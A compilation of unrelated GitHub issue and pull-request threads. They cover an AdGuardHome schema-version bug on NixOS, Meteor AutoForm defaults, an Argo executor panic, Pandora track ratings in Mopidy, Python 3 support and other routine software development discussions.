AdGuardHome does not start up after updating nixpkgs to e6ab469 (2023-07-29)

Describe the bug
I recently updated my system and then AdGuardHome ceased to work.
• Updated input 'nixpkgs':
    'github:nixos/nixpkgs/12303c652b881435065a98729eb7278313041e49' (2023-07-22)
  → 'github:nixos/nixpkgs/e6ab46982debeab9831236869539a507f670a129' (2023-07-29)

The error message in the flake is:
adguardhome[22723]: 2023/07/31 19:17:16 [error] Couldn't get logging settings from the configuration: yaml: unmarshal errors:
adguardhome[22723]:   line 7: cannot unmarshal !!seq into filtering.BlockedServices
adguardhome[22723]:   line 28: cannot unmarshal !!seq into filtering.BlockedServices
adguardhome[22723]:   line 85: cannot unmarshal !!seq into filtering.BlockedServices

Originally I thought it was because /nix/store/*AdGuardHome.yaml is a JSON file, but it appears it is always that way. I'm not entirely sure what is missing to produce that error. I had a services.adguardhome.settings set up for rewriting, but commenting that out continued to produce the error so it doesn't seem to be that.
  services.adguardhome = {
    enable = true;
    openFirewall = true;
    allowDHCP = true;
    settings.bind_host = "<IP_ADDRESS>";
    settings.bind_port = port;
  };

Steps To Reproduce

Set up AdGuardHome using the above stanza.
Start up the service.

Expected behavior
It would start up and protecting my location from the evils of surveillance capitalism.
Screenshots
N/A
Additional context
N/A
Notify maintainers

@r-ryantm
@numkem
@iagoq
@rhoriguchi

Metadata

system: "x86_64-linux"
host os: Linux 6.1.37, NixOS, 23.11 (Tapir), 23.11pre-git
multi-user?: yes
sandbox: yes
version: nix-env (Nix) 2.15.1
nixpkgs: /nix/var/nix/profiles/per-user/root/channels/nixos

Please set a schema_version to an older value, or update your configuration to match the upstream configuration file description.
This behavior is caused by #176701. It essentially fails to consume your config, as it assumes that the YAML produced follows the latest schema.
The problem likely comes from a missing blocked_services (under dns).

You do not need to manually edit the file. You can simply set settings.schema_version to the value that was used before.
In your case, 20 would likely work, as it was the schema version before the current one.
I don't see a way to compromise on the default value here, as we'd either never allow newer options by default (e.g. by defaulting to a schema version of 0), or we sometimes get this breakage.

So the idea would be to issue e.g. a warning if services.adguardhome.settings.schema_version != pkgs.adguardhome.passthru.schema_version?
I could see that this would work, yes. I think nextcloud handles this similarly, but nextcloud could have problems with a missing step in the upgrade path. For adguard home, one schema_version could work just fine for all eternity, as the schema gets updated either way on start. That's why the adguardhome test gets away with schema_version = 0.

Since there is a problem with it being out of sync, it has some similarities to nextcloud's update.
Related to the fix, I changed my setting to this:
services.adguardhome = {
  enable = true;
  openFirewall = true;
  allowDHCP = true;
  settings.bind_host = "<IP_ADDRESS>";
  settings.bind_port = port;

  settings = {
    # https://github.com/NixOS/nixpkgs/issues/246461
    schema_version = 20;
    test = 1;

    dns = {
      rewrites = [
        # Inwood Servers
        {
          domain = "***.home";
          answer = "***.***.***.***";
        }
      ];
    };
  };
};

but it produced this file:
bind_host: <IP_ADDRESS>
bind_port: 3005
dns:
  rewrites:
    - answer: ***.***.***.***
      domain: ***.home
schema_version: 24
test: 1

This doesn't work. I noticed that schema_version is still 24, which seems not to fit with the suggested fix.
I did try setting mutableSettings.
    settings = {
      mutableSettings = false;
      schema_version = 20;

This is in the build output:
[info] AdGuard Home, version v0.107.34
[info] Upgrade yaml: 20 to 21
[info] Upgrade yaml: 21 to 22
[info] Upgrade yaml: 22 to 23
[info] Upgrade yaml: 23 to 24

But it still failed. I also tried added filtering...
    settings = {
      mutableSettings = false;
      schema_version = 24;

      dns = {
        filtering.blocked_services = [];

which produced this file:
{"bind_host":"<IP_ADDRESS>","bind_port":3005,"dns":{"filtering":{"blocked_services":[]},"rewrites":[{"answer":"***.***.***.***","domain":"***.home"}]},"mutableSettings":false,"schema_version":24}

which also failed to run.
(at least I know why I see yaml sometimes and json the other times. :)

@rhoriguchi This wasn't detected by the tests because they pin the schema_version to 0, correct? Maybe we can add another test case for a default schema_version :thinking:

After a bunch of things, I edited /var/lib/AdGuardHome/AdGuardHome.yaml, deleted everything but the first few lines, and then did a redeploy. That got rid of a bunch of blocked_services: [] entries that were in probably when I was manually editing(?) but weren't updated (maybe because the schema was set to 24 before it was copied up in the Nix closure?).

I could never get AGH to properly configure thought the Nixos settings, so I've just been using the web interface for configuration. However with every update it breaks configuration again.

@sjau Can you open a new issue and share the relevant config there? Because that should not happen, at least if you set services.adguardhome.settings = null;.

IMHO this should not be closed.
I just tested the schema_version pinning:

I setup a VM using git rev. 04af42f3b31
I added this to my config:

    # AdGuard Home
    services.adguardhome = {
        enable = true;
        openFirewall = true;
        settings = {
            bind_port = 3000;
            users = [ {
                name = "myUser";
                password = "$........";
            } ];
            upstream_dns =  [ "<IP_ADDRESS>:5335" ];
            schema_version = 20;
        };
    };

That worked fine.
Then I updated unstable to rev. 5a8e9243812b
I restarted and it failed to start AGH:

grep schema_version /data/AdGuardHome/AdGuardHome.yaml
schema_version: 24

Oh, I think that I understand the problem now. @dmoonfire you're likely correct. To reiterate the problem, and let's assume without loss of generality that the old schema version is 20 and the new one 24:

Config file in /var/lib is on version 20
AGH gets updated in nixpkgs to schema version 24
nix-controlled portion of the config file gets recreated by the module
checkPhase running the AGH with 24 bumps the schema version and layout in the nix-controlled portion
The generated and the residing configs get merged, where the generated one takes precedence

So the old config is on a schema version pre 24, while the one that gets merged is at 24.
I'd assume one fix would be to bump the residing schema version prior to merging, and another one would be to not merge if residing version < generated version.
I'm preferring the first approach, as the second one does the same, but requires one additional restart. Thanks to the statefulness of it, it is likely sufficient to just add
${pkgs.adguardhome}/bin/adguardhome -c "/var/lib/AdGuardHome/AdGuardHome.yaml" --check-config

into the preStart prior to merging, which should bump the residing config to the "new" schema version.
Any objections?

Oh, I think that I understand the problem now. [...]

I think that's whats happening. This results in AGH unable to start.

Upgrading both sides (nix-controlled and previous) before merging sounds like it would a good solution, I'm in favor of your first suggestion.

Has anyone figured out how to add custom filters to the nixos configuration?
When adding a custom filter through the WUI it will look in the AGH config like this:
user_rules:
  - '@@||domain.tld^$important'
  - ""

However I don't know how to recreate that in the nixos configuration file.
It did not like this:
            filters = [
                {   enabled = true;
                    url = "https://adguardteam.github.io/HostlistsRegistry/assets/filter_1.txt";
                    name = "AdGuard DNS filter";
                    id = 1; }
                {   enabled = true;
                    url = "https://adguardteam.github.io/HostlistsRegistry/assets/filter_2.txt";
                    name = "AdAway Default Blocklist";
                    id = 2; }
                    .....
            ];
            user_rules = [
                { '@@||domain.tld^$important'; }
                { ""; }
            ];

@sjau It is likely not related to this issue.
You can supply user_rules as list of strings, e.g.
            user_rules = [
                "@@||domain.tld^$important"
            ];


feat(runner): handle local run

feat(runner): handle local run
refactor(app): use default value for api_url cli arg
feat(runner): move frontend api url to an arg
feat(runner/setup): do not install valgrind if correct version is installed
feat(runner): support arm64 arch

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#27  👈
#26
#25
#24
#23
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @adriencaccia and the rest of your teammates on  Graphite


Sequence

Follow-up to #1951 — no need to create a separate app to test this, we can put it in basics. Also, I'm going to add some docs here
Before submitting the PR, please make sure you do the following

[x] It's really useful if your PR references an issue where it is discussed ahead of time. In many cases, features are absent for a reason. For large changes, please create an RFC: https://github.com/sveltejs/rfcs
[x] This message body should clearly illustrate what problems it solves.
[ ] Ideally, include a test that fails without this PR but passes with it.

Tests

[ ] Run the tests with pnpm test and lint the project with pnpm lint and pnpm check

Changesets

[ ] If your PR makes a change that should be noted in one or more packages' changelogs, generate a changeset by running pnpx changeset and following the prompts. All changesets should be patch until SvelteKit 1.0

Hmm — there isn't really a place to document this at the moment, without documenting all the other @sveltejs/kit/* modules, which is out of the immediate scope. Going to merge this in then raise an issue for those doc changes

whoops, i clean forgot to add a changeset for this. will add separately

Could there be a case when we skip following handlers from an earlier handler and directly send the response to client

Yes, absolutely — if an earlier handler doesn't call resolve, later handlers are not called


GDScript: Add check for super() methods not being implemented

Brings back what I believe is the OK part of #77324. When checking a super() call in GDScript, we know what the base class is, and can check up the class hierarchy whether the method exists.
The reason that part of #77324 was reverted was because in the general case, when calling any method on any object (e.g. a random node in the scene tree), we can't guarantee that the object doesn't have a script attached (that we don't know of) that implements the method. I don't think this can happen here, because it is specifically for super() calls.
Fixes #81804.

Force push was just the comment fixes! :)

Thanks!

Cherry-picked for 4.1.3.


[ENH] Add He et. al. initialization

http://cs231n.github.io/neural-networks-2/#init

closed by #101


Invalid Date

Preview

Can you fix it? I have tried many times, it works on few PCs and not on others, I don't know why.

I can give it a try :D


rgbgfx in v0.2.5

In Cygwin, running rgbgfx.exe from the v0.2.5 release results in:
./rgbgfx.exe: error while loading shared libraries:
libpng16-16.dll: cannot open shared object file: No such file or directory

libpng16-16.dll (and zlib1.dll) are present in the 0.3.0 and 0.3.1 releases.
Can the dlls be included in the 0.2.5 release?

Let's see how it goes now, I've compiled for 32 and 64 bit. I've just copied the targets of the current Makefile in the one at tag v0.2.5, in case someone wonders how I've done it.

@yenatch, have you had time to test the new binaries?

This seems to be solved, so I'll close it. If there are problems, reopen it.


Fix README.md

This templating system is awesome! An awesome system deserves a sharp README page. 😄 I fixed spelling and grammar errors, tightened sentences, and changed all references of the system's name to "TemPy" for consistency.

Thanks!


updated to work with Laravel 5.2 session component

Hello Andrew,
Here are a few modifications to make it work on Laravel 5.
Could/would you include those in your original repo?
Thanks
Fred

Thanks for this @nbsoftware I will definitely merge this in.

Thanks!
Do you plan to release the updated version on Packagist?
This would help referencing the package in the standard way rather than mentioning the dev-master branch.

@nbsoftware yeah will try and do that between today and the weekend.

Fantastic.
Thanks again.
On Wed, Jan 20, 2016 at 12:16 PM, Andrew Smith<EMAIL_ADDRESS>wrote:

@nbsoftware https://github.com/nbsoftware yeah will try and do that
between today and the weekend.
—
Reply to this email directly or view it on GitHub
https://github.com/nuevephp/laravel-session/pull/3#issuecomment-173175068
.


[TRANSLATION] EN to JA: your-first-progressive-web-app/step-03

I just translated the step-03 file from EN to JA in the progressive web app section. It would be great if someone can review my committed files and merge them. Thank you in advance.

@agektmr Could you review this PR?

@agektmr @PaulKinlan Also, I fixed an issue regarding a homepage link of the translator in each translated article. It would be great if you guys can review the modification to fix the issue.

Translation LGTM

This looks good.  Interestingly our staging environment doesn't render your image because it is pulling from the master branch (we need to sort that) but everything looks fine.

Thank you again for the work on this.  It is amazing.

@agektmr @PaulKinlan Thank you for the confirmations. :)


implemented all patches into appium code

Changes made:

implemented all patches into 1 appium repo

here is diff file with changes
https://github.com/zebrunner/appium/blob/develop/files/mcloud/node_modules/appium-2_2_2.diff


Migrate deltalog

This PR is to explore what Spark API would need to get opened up to move DeltaLog to the io.delta package.  We started the conversation on this issue: https://github.com/delta-io/delta/issues/204

I dont think it makes sense to move all of delta into the io.delta package. In fact some of the functionality of apache sql that we internally use requires it to be inside org.apache.spark.sql. That why we decide to keep most of delta stuff within org.apache.spark leaving only the public APIs into io.delta.
As per issue #204, we should reduce the top-level packages by just moving the test.com.databricks to test.io.delta. That should just touch java test files.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Closing this stale PR. We prefer to avoid such huge changes with little benefits.

Closing this stale PR. We prefer to avoid such huge changes with little benefits.


Make keybind screen inputs unique

Will clear any existing ones that exist on the same key. No warning atm as mainly want to fix the existing abuse.
Obviously this breaks if for example shuttle movement is rebound though I think for most people it will stop bug abuse.
Requires https://github.com/space-wizards/RobustToolbox/pull/4524
:cl:

tweak: Keybinds on the rebind screen are unique and can't be duplicated.

There are legitimate reasons for wanting to bind the same key to multiple things. Why not just add a cooldown and fix the actual bug?

There are legitimate reasons for wanting to bind the same key to multiple things. Why not just add a cooldown and fix the actual bug?

You can't add a cooldown to everything and expect it to be the only solution.
Depending on the game, keybinds should not overlap.
MapleStory - It works since the game is designed around it. So binding Accept & Advanced Dialog to one key makes sense, since they're not already one key.
Final Fantasy XIV - It's disallowed because the game is not balanced around it. That being said, they have a completely different Macro system to allow actions to happen one after another for where it makes sense (Crafting).
Space Station is one of those games where keybinding shouldn't overlap. Having alternate keys is absolutely fine (W and Up Arrow being both assigned to Move Up, as an example), but having a key that does multiple actions at once is not intended

Please do not. We wrote a bit about this in the issue relevant to this PR. This only fixes the symptom of a problem rather than the actual cause, and does not at all prevent someone from just using an AHK macro to continue abusing the oversight in question. Please do not kneecap accessibility in the name of a bandaid fix.

Space Station is one of those games where keybinding shouldn't overlap. Having alternate keys is absolutely fine (W and Up Arrow being both assigned to Move Up, as an example), but having a key that does multiple actions at once is not intended

Why is ss14 ”one of those games?"
Even if the client doesn't allow multiple actions on the same key, it's trivial to get around this either with external software or by just pressing 2 buttons at once physically.

I don't think removing this functionality will actually help fix any abuse, it'd just make spamming certain actions ever so slightly slower by making users rapidly alternate between two+ buttons

I don't believe this is needed. I vote against it.


Possible to Preset Array values in form?

I have the following code:
owner: {
    type: [Object]
  },
  'owner.$.userId':{
    type: String,
    label: "Device's owner's userId",
    autoValue:function(){ return this.userId;}
  },
  'owner.$.email': {
    type: String,
    label: "Device's owner's email",
    //autoValue:function(){ return Meteor.user().emails[0].address;}
  }

Can i pre-set the input that user is supposed to fill in when i call this :
{{> afQuickField name='owner'}}

To use preset data, you can write a helper that retrieves your document data and set the data context using doc=<helper_method_here> in the autoform area.
ie.
// Helper
Template.Owner_Form.helpers({
    // Retrieve owner data from the Owners collection
    // Parameters: [String] ownerID - ID of owner to retrieve
    // Returns: [Object] Owner data from collection || undefined
    'ownerData': function(ownerID) {
        return Owners.findOne({_id: ownerID });
    },
})

// Form
  {{#autoForm collection=Owners doc=ownerData id="ownerForm" type="method-update" meteormethod="editOwner"}}
                        <fieldset>
                         {{> afQuickField name='owner' value='full_name' }}
                        </fieldset>
                        <button type="submit" class="btn btn-sm btn-success">
                             Update
                        </button>
{{/autoForm}}

@joerodrig3 Hi!
I don't quite understand your answer. May i know where does the full_name comes from?

@weijian19391 Sorry, I left full_name in from a different example and just updated my answer. When you set the data context using "doc=ownerData", any fields that exist in your autoform that correlate to the ownerData retrieved will be auto-populated.
ie.
If ownerData returns something like {owner : "Joe"}, your  name='owner' input field will contain that value by default

@joerodrig3 Thank you so much for this information, it has helped me tremendously.

I'm having issue setting the default value of a template which is being called during a loop. Is it possible to get like the $scope variable? Or would it be better to use a different approach - like  hook?
Here is my code:
// view.ng.html

    <meteor-include src="ordersTemplate"></meteor-include>

// orders.html
<template name="ordersTemplate">
    {{#autoForm collection="Orders" id="insertOrderForm" type="insert" doc=defaultValues}}
        {{item.name}}
        {{> afQuickField name='quantity'}}
        {{> afQuickField name='itemId'}} // I would like to remove this, and set it using defaultValues
    {{/autoForm}}
</template>

// controller
Template.ordersTemplate.helpers({
    defaultValues: function() {
        return { itemId: this.parent.item._Id }; // here I'm trying to find a way to get {{item._id}}
    }
});

Hey @cellulosa, I was having the same issue. When you pass value thought the doc, your field must exist in autoform render, i.e.: it can't be set in Schema to autoform.omit: true. So you can hide the field defining autoform.type: hidden in you Schema, or if you are using afQuickField, like in your example, do this:
{{> afQuickField name='itemId' type='hidden' value=item._id}}
Hope it's work for you!

Thank you, @pablohirafuji. But is there a way to avoid rendering the hidden field? It would be a bit more secure not to allow users to edit the fields using the HTML inspector.

@cellulosa I agree. For more security, a little more code is necessary. You can set up a hook in your client code, like this:
AutoForm.hooks({   insertOrderForm: {     before: {       insert: function (doc) {         doc.itemId = Template.currentData().defaultValues.itemId; // Before insert, set the doc itemId to Template's value defaultValues.itemId.         return doc; // Must return the resulting doc.       }     },{     onSuccess: function (insert, result) {       Router.go('sucess/'+result); // What to do after successed inserting the doc. Param result is the generated _id of inserted document.     }   } })
SimpleShcema, Collections2 and AutoForm are really powerful packages. I really apreciate the authors work!

@pablohirafuji my issue is that I am rendering forms in a loop with specific ids, and as far as I understand hooks can either be attached to all the app's forms or to specific ones; but than this would require me to add every single ids - and this is obviously unpractical

@cellulosa I see. I didn't realize that you were using an autoform loop. I don't know if it's going to work, but in last case I think you can call a meteor method with an array of itemId's param to be sure what's being inserted. Don't know if it's the best though.


[Dropdown] - Search dropdown selects first item when selection is cancelled

Steps to Reproduce

Go to http://semantic-ui.com/modules/dropdown.html#search-selection
Click dropdown and see countries are listed
Do not select anything from list
Click outside of dropdown

Expected
The Dropdown should not select anything.
Result
The Dropdown selects the first item in the list.

See #4506.


Add Codes for Mistral MPAC15CY28 Climate

Codes for Mistral MPAC15CY28 Climate
manufacturer: Mistral
supported Models: MPAC15CY28
commands Encoding: Base64
supported Controller: Broadlink
min Temperature: 16
max Temperature: 30
precision: 1
operation Modes:
[
"cool",
"dry",
"fan_only"
]
fan Modes:
[
"level1",
"level2",
"level3"
]
swing Modes:
[
"stop",
"swing"
]
photo of the remote control

4.zip

Thanks!


[FR]: Refresh tasks column with filters

Contact Details
<EMAIL_ADDRESS>What happened?
When I switch between group filters in a database the tasks column (dataview tasks query) becomes out of sync with the pages and some don't show any results at all even though there are tasks in the page.
I have tried refreshing the view (on and off filter) to bring up the dataview results but nothing seems to happen.
Loving the feature but this is irritating. Hope that makes sense.
What platform were you using?
Desktop
Version of the plugin
2.7.1
Relevant log output
No response
Are you using the latest version of the plugin in your Obsidian vault?

[X] I have verified that I am on the latest version

Are you check if there is a similar issue?

[X] I have verified that there are not similar issues

The tasklist component currently its rendered just once. Being a dataview component I can not control when is refreshed without render it again and it was a performance problem.
I will check if it’s possible to refresh it when you change the filter :)

That is what I thought.
Thanks for the replay, I will keep my eyes open 😁

With another change this feature was resolved

Commit 8d73c2fb


Feat/lesq 242/lesson header update [LESQ-242]

Description

Added a new component HeaderMetadata to display the extra data in lesson listing header
Updated graphql queries with the updated schema

I haven't found any lesson with both tier and examboard currently to test this with but I can see it working in storybook and in unit tests.
How to test

Go to https://deploy-preview-1955--oak-web-application.netlify.thenational.academy/teachers/programmes/maths-secondary-ks4-foundation/units/surds/lessons
You should see the year and tier in the header

Screenshots
How it should now look:

Checklist

[ ]  A lesson listing page should show the year group a unit belongs to in the header
[ ]  A lesson listing page should show the tier and exam board a unit belongs to IF it has a tier and exam board

For testing - Physics KS4 has examboard and tier

:tada: This PR is included in version 1.261.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Add support for .to_either on Result object

See #229

Looks good 👍 :)

This implicitly assumes dry-monads are present, which is true because dry-types depends on it, but I wouldn't want to make it depend on dry-monads, so I'm wondering if we should enable feature-detection somehow and include it as an optional extension. We need this already for dry-struct too (I don't want dry-v to have a hard-dep on dry-struct either).

@solnic should it be manually-required opt-in behaviour or something automagically-detected one? ie sutin like if defined? Dry::Monads

We should probably try to require and rescue LoadError

@solnic have a look

This is really awesome :)


CMAKE ERROR

denseflow will be installed in /homearnob/app
Dependency: boost, opencv
downloads/denseflow.tar.gz exist
CMake Error at CMakeLists.txt:19 (find_package):
By not providing "FindOpenCV.cmake" in CMAKE_MODULE_PATH this project has
asked CMake to find a package configuration file provided by "OpenCV", but
CMake did not find one.
Could not find a package configuration file provided by "OpenCV" with any
of the following names:
OpenCVConfig.cmake
opencv-config.cmake

Add the installation prefix of "OpenCV" to CMAKE_PREFIX_PATH or set
"OpenCV_DIR" to a directory containing one of the above files.  If "OpenCV"
provides a separate development package or SDK, be sure it has been
installed.
-- Configuring incomplete, errors occurred!
See also "/home/arnob/app/src/denseflow/build/CMakeFiles/CMakeOutput.log".
See also "/home/arnob/app/src/denseflow/build/CMakeFiles/CMakeError.log".

output of ls app/src
boost      ffmpeg  libx264  nasm    opencv_contrib
denseflow  libvpx  libx265  opencv  yasm

@arnobanu Do you mind sharing how you solved this issue? I am getting the same error and can't seem to find a solution..


docs(getting-started): specify HammerJS install instructions

Change GETTING_STARTED.md to include more specific HammerJS install instructions.
Closes #1889

@jmcgoldrick @DevVersion  Comment addressed :smile:

@jelbourn title added, but somehow the sauce labs check failed, any idea why? :thinking:

SauceLabs connection is just a bit flaky.


Got an error from Deploying the Template - Your access has been denied by S3

Hello,
I tried deploying this template in my AWS and I got this error when  the ForwardToTeamsFunction step
Resource handler returned message: "Your access has been denied by S3, please make sure your request credentials have permission to GetObject for awsserverlessrepo-changesets-plntc6bfnfj/809422076284/arn:aws:serverlessrepo:eu-central-1:482117739457:applications-cloudwatch-alarm-to-ms-teams-versions-1.1.8/465e2e1c-1c66-417d-9528-0855feae5e55. S3 Error Code: AccessDenied. S3 Error Message: Access Denied (Service: Lambda, Status Code: 403, Request ID: 5ad0d383-9cb3-40d9-956c-5dd0035863d7)" (RequestToken: 01308f04-b574-7f5f-2605-ee6ccc4bac0a, HandlerErrorCode: AccessDenied)
Has anyone else ever gotten this error before?
Thanks.

Getting a similar error when trying to deploy a template of a lambda. Were you able to find a solution for this?


Issues with the Kubernetes Deployment for OpenCoPilot

Describe the bug
Kubernetes pods fail to start, multiple pods crashing
To Reproduce
Steps to reproduce the behavior:

Clone the GitHub Repo
Edit the config files with the keys
Apply the Kubernetes yaml files with kubectl apply -f

Expected behavior
All pods should be running
Screenshots

Kubernetes

Version: v1.27.3

Mistake Bug, was not using arm nodes


Export the methods of KubernetesClientInterface

All calls to these methods previously generated a panic at runtime
because the calls resolved to the default, panic-always implementation,
not to the overrides provided by k8sAPIClient and kubeletClient.
Embedding an exported interface with unexported methods into a struct is
the only way to implement that interface in another package.  When doing
this, the compiler generates default, panic-always implementations for
all methods from the interface.  Implementors can override exported
methods, but it's not possible to override an unexported method from the
interface.  All invocations that go through the interface will come to
the default implementation, even if the struct tries to provide an
override.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Can you show logs when it panic ?

Yes, of course, here's an example panic:
executor panic: runtime error: invalid memory address or nil pointer dereference
goroutine 1 [running]:
runtime/debug.Stack(0xc0004cc400, 0x15791a0, 0x22)
	/usr/local/go/src/runtime/debug/stack.go:24 +0xa7
github.com/argoproj/argo/workflow/executor.(*WorkflowExecutor).HandleError(0xc0004cc400)
	/go/src/github.com/argoproj/argo/workflow/executor/executor.go:104 +0x155
panic(0x13aa9c0, 0x2280650)
	/usr/local/go/src/runtime/panic.go:513 +0x1b9
github.com/argoproj/argo/workflow/executor/k8sapi.(*k8sAPIClient).github.com/argoproj/argo/workflow/executor/common.getContainerStatus(0xc0003f2080, 0xc0006039f9, 0x40, 0x0, 0x1, 0x0, 0x0)
	<autogenerated>:1 +0x32
github.com/argoproj/argo/workflow/executor/common.WaitForTermination(0x1700080, 0xc0003f2080, 0xc0006039f9, 0x40, 0x0, 0x0, 0x0)
	/go/src/github.com/argoproj/argo/workflow/executor/common/common.go:55 +0x1f8
github.com/argoproj/argo/workflow/executor/k8sapi.(*k8sAPIClient).waitForTermination(0xc0003f2080, 0xc0006039f9, 0x40, 0x0, 0x1, 0xc0005ffb68)
	/go/src/github.com/argoproj/argo/workflow/executor/k8sapi/client.go:132 +0x55
github.com/argoproj/argo/workflow/executor/k8sapi.(*K8sAPIExecutor).Wait(0xc00048a1d8, 0xc0006039f9, 0x40, 0x1714240, 0xc00020cc00)
	/go/src/github.com/argoproj/argo/workflow/executor/k8sapi/k8sapi.go:49 +0xce
github.com/argoproj/argo/workflow/executor.(*WorkflowExecutor).Wait(0xc0004cc400, 0x0, 0x0)
	/go/src/github.com/argoproj/argo/workflow/executor/executor.go:767 +0x237
github.com/argoproj/argo/cmd/argoexec/commands.waitContainer(0x0, 0x0)
	/go/src/github.com/argoproj/argo/cmd/argoexec/commands/wait.go:33 +0xae
github.com/argoproj/argo/cmd/argoexec/commands.glob..func4(0x228b180, 0x22b4a00, 0x0, 0x0)
	/go/src/github.com/argoproj/argo/cmd/argoexec/commands/wait.go:19 +0x22
github.com/spf13/cobra.(*Command).execute(0x228b180, 0x22b4a00, 0x0, 0x0, 0x228b180, 0x22b4a00)
	/go/src/github.com/spf13/cobra/command.go:766 +0x2cc
github.com/spf13/cobra.(*Command).ExecuteC(0x228af20, 0x124caa6, 0x1555fcf, 0x4)
	/go/src/github.com/spf13/cobra/command.go:852 +0x2fd
github.com/spf13/cobra.(*Command).Execute(0x228af20, 0x0, 0xc0001e8690)
	/go/src/github.com/spf13/cobra/command.go:800 +0x2b
main.main()
	/go/src/github.com/argoproj/argo/cmd/argoexec/main.go:17 +0x2d

It should be straightforward to reproduce this by setting containerRuntimeExecutor: k8sapi on a build from master and running any workflow.  waitForTermination is called as soon as the first workflow pod is created.
I'm also attached a minimal reproduction case.  Should be possible to unzip it and run go run . to see the behavior.
noembed.zip
Thanks for the quick reply!

It makes sense.    Take @dtaniwaki  have a look

LGTM
Waiting for @jessesuen to merge.

@chris-chambers Could you resolve the conflicts so we can merge it?

Rebased.


the github user should be almighty-bot

Clones would happen unauthenticated, but providing almigthy-bot(sic) would
break push in jenkins by overriding the provided credentials

Nice catch! :)


Implement the disable job feature backend when indexing endpoints

This PR implements proper job disabling when the enabled option is set the false. Previously it just did not include the job when indexing.
When a job is set to enabled = false, the following things happen when the endpoint is indexed:

The JobVersion.status field is set to "DISABLED"
The EventDispatcher.enabled field is set to false. This will cause new runs from being created.
If the job has a ScheduleSource, it will be deactivated and the next scheduled events.deliverScheduled task will be dequeued.
In progress runs will continue to run, and new tasks from those runs will work.
Resuming runs will not be allowed
Any in-progress task operations will complete

When a job is then set backed to enabled = true, the following things happen when the endpoint is indexed:

The JobVersion.status field is set to "ACTIVE"
The EventDispatcher.enabled field is set to true. This will re-enable new runs.
If the job has a ScheduleSource, it will be re-activated and the next scheduled task will be queued
Failed runs from when the job was disabled will NOT be retried.

Note for testing that we need to check re-enabling Jobs works properly

@matt-aitken added some extra info in the PR about what happens when jobs are re-enabled

Also added some more details about missing jobs.


Add support to rate tracks in Pandora (love / ban)

One of the major attractions of Pandora is its ability to learn what the listener's preferences are. I find that I miss not being able to refine this further using the thumbs up / down features when listening in Mopidy.
Although not strictly part of the Mopidy API, my question is whether it would be possible to enable these features in the back-end in case any web clients would like to expose this functionality in the UI.

I will start working on a pull request if anybody is in support of the idea, and feels that this is worth investigating / pursuing.

Would you do this by having the front end "play" a special uri that indicates to "like" the current track? How will the front end know which backends support doing this, or even how to construct the uri for a track on a specific backend? You might want to look at extending the mopidy backend api to support something like this generically maybe the Playback provider interface? https://docs.mopidy.com/en/latest/api/backends/#playback-provider

I'm not quite sure what the best way would be to make a web client 'backend-aware'. For now I am hoping that it will be possible to check which backends are installed using something like mopidy.ext.Registry, and just toggle which controls are rendered in the UI (but I haven't looked into this yet).
Yes I do think that the new methods will have to go into the mopidy-pandora playback provider. Right now I am trying to figure out how to expose these to the JavaScript engine so that it is callable by the web client. Mopidy uses introspection to create JavaScript functions for all of the standard stuff in the core (see getApiSpec in mopidy.js). But I haven't been able to figure out how to extend this for any new methods that we add to PandoraPlaybackProvider.

I meant add the new methods to the base backend.PlaybackProvider interface and then mopidy-pandora would implement them. I don't think you would want the front ends to know all about a specific backend. There should be a generic way to "rate" via PlaybackProvider and backends can implement that if they support it.

Yes adding to the base backend.PlaybackProvider would be great, and it will probably depend on whether the developers believe that the usecase is common enough to justify that approach.
I think that there will probably always be features that are unique to a particular backend or service however, so we may not be able to cover them all in which case providing a framework for this type of extension may be more preferable than adding to to the base implementation.

I haven't been able to figure out how to make JSON RPC calls to our own PlaybackProvider (which is what I think will be required to trigger the ratings change for tracks).
It looks like the service framework proposed here https://github.com/liamw9534/mopidy/pull/2 should be a step in the right direction. But it hasn't been merged yet.
Moped also does something similar here.  But that is using Angular.
Back to the drawing board...

While we're hoping for the Mopidy service framework to land, I've started to maintain a truly horrible hack for implementing ratings using a rudimentary 'double-click' implementation.
It is available on a separate branch here: https://github.com/jcass77/mopidy-pandora/tree/feature/thumbs_support
The hacks can be activated by double clicking the pause/play button, or pause/next, pause/back. Perhaps this will stimulate some discussion and ideas that we can improve on...

Update: the experimental eventing support has now landed in the main 'develop' branch. It is functional, but there are still a few limitations:

there are no visual queues as to whether a track has been rated before.
apart from info messages sent to the log file, there is no way to tell if an event has been caught and processed successfully
invoking an event always requires the user to click 'play/resume' again for the song to continue, or the next song to start playing.

Closing this as we have a working implementation in the current v0.1.7 release. Will also work in v0.2.0 once https://github.com/mopidy/mopidy/issues/1352 is fixed.


Python3 Support

Curious where the hurdles to Python 3 support are. Happy to help work around them as since major scientific packages, including xarray, are dropping support for Python 2 going forward.
By modifying the setup.py, I can install the package from source but get "1 failed, 27 passed, 8 warnings, 11 error" out of running the tests. Not sure yet how much of that is my environment/package versions or Python 3 specific.--.itervalues on dicts seems to be a common error in the trace though.
Cheers,
Alex

Hi @acrosby @colourcode thanks for that. Supporting python3 is definitely in the roadmap and any help will be welcome. Currently the main hurdle is with compiling the fortran module to install the watershed stuff. @jorgeperezg has coded that module in pure python, the code is currently in the wshed branch. However the fortran one is considerably faster to run which makes a difference when processing many spectra datasets. We will look into this soon to try to either make the fortran module compile on python3 or to replace that by the python code.

Fixed in #17

scikit-image features a watershed implementation using cython.
link
It may be easier to use that one instead of the fortran code.


Language code resolution endpoint

Endpoint: translation/languages
Input:

engineType: string
languageCode: string
engineModel (optional): string (future)

Output:

resolvedLanguageCode: string
nativeSupportInModel: T/F

@Nateowami, @pmachapman (CC @ddaspit ) - what exactly do you want to use this for?  Is there any other information that you would want to use?

If you want to only use it after an engine is created, we could just give the resolved or supported field in corpora or engine fields
Are you wanting which scripts are supported in a language?
Is there any other information that you would want?

@johnml1135 I can't give an exhaustive list of everything we might want it for (Peter would be better at coming up with use cases), but we absolutely need it before an engine is created so we can tell the user whether their project is supported.
And Peter saw some utility in specifying which language code it maps to, rather than just whether it's a supported language.

The primary use case I can think of is to verify that a language is supported by Serval before creating the engine. resolvedLanguageCode would be helpful to see what it maps to.

